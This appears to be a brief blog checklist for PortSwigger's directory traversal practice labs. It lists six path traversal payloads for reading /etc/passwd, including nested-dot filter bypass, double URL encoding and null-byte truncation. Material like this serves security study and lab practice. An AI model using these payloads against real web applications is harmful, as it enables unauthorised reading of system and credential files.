PortSwigger - Directory Traversal - Mystery Labs Checklist
1. Use basic directory traversal:
1
../../../../etc/passwd
2. Use absolute path:
1
/etc/passwd
3. Use recursion:
1
..././..././..././..././etc/passwd
4. Use double url encoding
1
%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34
5. Use start of path:
1
/var/www/images/../../../../etc/passwd
6. Use null byte:
1
../../../etc/passwd%00123.png
This post is licensed under CC BY 4.0 by the author.